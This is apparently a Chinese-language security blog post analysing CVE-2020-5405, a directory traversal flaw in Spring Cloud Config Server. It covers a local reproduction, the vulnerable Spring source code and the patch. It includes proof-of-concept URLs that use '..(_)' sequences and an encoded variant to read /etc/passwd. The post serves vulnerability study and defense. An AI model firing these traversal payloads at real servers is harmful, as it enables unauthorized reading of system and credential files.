简介

Spring Cloud Config,为微服务架构中的微服务提供集中化的外部配置支持,配置服务器为各个不同微服务应用的所有环境提供了一个中心化的外部配置。

Spring Cloud Config分为服务端和客户端两部分:

  • 服务端,也称为分布式配置中心,它是一个独立的微服务应用,用来连接配置服务器并为客户端提供获取配置信息,加密/解密信息等访问接口。
  • 客户端,则是通过指定的配置中心来管理应用资源,以及与业务相关的配置内容,并在启动的时候从配置中心获取和加载配置信息,配置服务器默认采用git来存储配置信息,这样就有助于对环境配置进行版本管理,并且可以通过git客户端工具来方便的管理和访问配置内容。

CVE-2020-5405,Spring Cloud Config允许应用程序通过spring-cloud-config-server模块使用任意配置文件。 恶意用户或攻击者可以发送精心构造的包含(_)的请求进行目录穿越攻击。

影响版本:

  • versions 2.2.x – 2.2.2
  • versions 2.1.x – 2.1.7
  • 停止更新支持的更早版本

复现

下载官方Spring Cloud Config,具体版本versions 2.1.5.RELEASE,下载地址为:

1
https://github.com/spring-cloud/spring-cloud-config/archive/v2.1.5.RELEASE.zip

导入IDEA项目

image-20200917163724143

修改配置文件src/main/resources/configserver.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
info:
component: Config Server
spring:
application:
name: configserver
autoconfigure.exclude: org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration
jmx:
default_domain: cloud.config.server
profiles:
active: native
cloud:
config:
server:
native:
search-locations:
- file:///Users/rai4over/Desktop/spring-cloud-config-2.1.5/config-repo

server:
port: 8888
management:
context_path: /admin

设置profiles-activenative,设置search-locations为任意文件夹。

主文件入口位置为org.springframework.cloud.config.server.ConfigServerApplication,运行spring-cloud-config-server模块,环境开启成功运行在127.0.0.1:8888

POC

1
http://127.0.0.1:8888/1/1/..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)etc/passwd

URL编码变形

1
http://127.0.0.1:8888/1/1/..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29etc/passwd

结果

image-20200917164515633

目录穿越成功,问题出现在Spring Cloud Config服务端,简单的看是将/替换成为(_)

分析

查看官方文档:

1
https://cloud.spring.io/spring-cloud-static/spring-cloud.html#_serving_plain_text

Config-Client可以从Config-Server提供的HTTP接口获取配置文件使用,Config Server通过路径/{name}/{profile}/{label}/{path}对外提供配置文件,POC就会通过路由到这个接口

org.springframework.cloud.config.server.resource.ResourceController#retrieve(java.lang.String, java.lang.String, java.lang.String, org.springframework.web.context.request.ServletWebRequest, boolean)

image-20200917172131123

解析下路由的结构

  • name,应仓库名称。

  • profile,应配置文件环境。

  • labelgit分支名。

  • **,通配子目录。

打好断点,查看被解析后的关键变量:

image-20200917174512669

request为该次请求对象, nameprofile对应解析为1label对应解析为..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)etc**对应通过getFilePath函数解析为passwd,跟进retrieve函数。

org.springframework.cloud.config.server.resource.ResourceController#retrieve(org.springframework.web.context.request.ServletWebRequest, java.lang.String, java.lang.String, java.lang.String, java.lang.String, boolean)

image-20200917204150549

先跟进处理nameresolveName函数

org.springframework.cloud.config.server.resource.ResourceController#resolveName

image-20200917204521266

替换name中存在的(_),name经过处理后不发生变化,继续跟进resolveLabel

org.springframework.cloud.config.server.resource.ResourceController#resolveLabel

image-20200917213303462

..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)etc经过替换之后变为../../../../../../../../../etc,然后将几个处理过的变量传入并跟进this.resourceRepository.findOne函数。

org.springframework.cloud.config.server.resource.GenericResourceRepository#findOne

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
@Override
public synchronized Resource findOne(String application, String profile, String label,
String path) {

if (StringUtils.hasText(path)) {
String[] locations = this.service.getLocations(application, profile, label)
.getLocations();
try {
for (int i = locations.length; i-- > 0;) {
String location = locations[i];
for (String local : getProfilePaths(profile, path)) {
if (!isInvalidPath(local) && !isInvalidEncodedPath(local)) {
Resource file = this.resourceLoader.getResource(location)
.createRelative(local);
if (file.exists() && file.isReadable()) {
return file;
}
}
}
}
}
catch (IOException e) {
throw new NoSuchResourceException(
"Error : " + path + ". (" + e.getMessage() + ")");
}
}
throw new NoSuchResourceException("Not found: " + path);
}

首先通过this.service.getLocations获取对应的file协议的绝对路径地址且为有两个元素的素组

image-20200917230529752

接着通过for循环对locations数组元素进行遍历,与POC相关的是第一号元素,取出后传入getProfilePaths函数。

org.springframework.cloud.config.server.resource.GenericResourceRepository#getProfilePaths

image-20200917231918093

创建了一个集合包含两个元素,首先包含原本的passwd,还有第二个根据file + "-" + profile + ext拼接而成的元素,此时profile为1,ext为空

image-20200917232250158

然后对这个集合再次遍历,取出元素后通过sInvalidPathisInvalidEncodedPath进行安全检查,关注1号元素passwd即可。

org.springframework.cloud.config.server.resource.GenericResourceRepository#isInvalidPath

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
protected boolean isInvalidPath(String path) {
if (path.contains("WEB-INF") || path.contains("META-INF")) {
if (logger.isWarnEnabled()) {
logger.warn("Path with \"WEB-INF\" or \"META-INF\": [" + path + "]");
}
return true;
}
if (path.contains(":/")) {
String relativePath = (path.charAt(0) == '/' ? path.substring(1) : path);
if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) {
if (logger.isWarnEnabled()) {
logger.warn(
"Path represents URL or has \"url:\" prefix: [" + path + "]");
}
return true;
}
}
if (path.contains("..") && StringUtils.cleanPath(path).contains("../")) {
if (logger.isWarnEnabled()) {
logger.warn("Path contains \"../\" after call to StringUtils#cleanPath: ["
+ path + "]");
}
return true;
}
return false;
}

org.springframework.cloud.config.server.resource.GenericResourceRepository#isInvalidEncodedPath

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private boolean isInvalidEncodedPath(String path) {
if (path.contains("%")) {
try {
// Use URLDecoder (vs UriUtils) to preserve potentially decoded UTF-8
// chars
String decodedPath = URLDecoder.decode(path, "UTF-8");
if (isInvalidPath(decodedPath)) {
return true;
}
decodedPath = processPath(decodedPath);
if (isInvalidPath(decodedPath)) {
return true;
}
}
catch (IllegalArgumentException | UnsupportedEncodingException ex) {
// Should never happen...
}
}
return false;
}

其实是对以前老洞的修复方式,进行了WEB-INF..、解码等安全校验,输入为passwd无压力通过两个函数校验。

this.resourceLoaderAnnotationConfigServletWebServerApplicationContext类加载器,继续通过this.resourceLoader.getResource(location).createRelative(local);加载资源,最终file为:

image-20200918104146952

最终作为结果进行层层返回,完成任意文件读取。

补丁

git地址

1
https://github.com/spring-cloud/spring-cloud-config/commit/651f458919c40ef9a5e93e7d76bf98575910fad0

org.springframework.cloud.config.server.resource.GenericResourceRepository#isInvalidLocation

image-20200917170508060

findOne函数新增使用isInvalidLocation函数对..的检测。

参考

https://github.com/DSO-Lab/defvul/tree/master/CVE-2020-5405_SpringCloudConfig

https://www.cnblogs.com/huangting/p/11946401.html

https://pivotal.io/security/cve-2020-5405

https://cloud.spring.io/spring-cloud-static/spring-cloud.html#_serving_plain_text

http://www.lmxspace.com/2019/04/26/Spring-Cloud-Config-Server-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E5%88%86%E6%9E%90/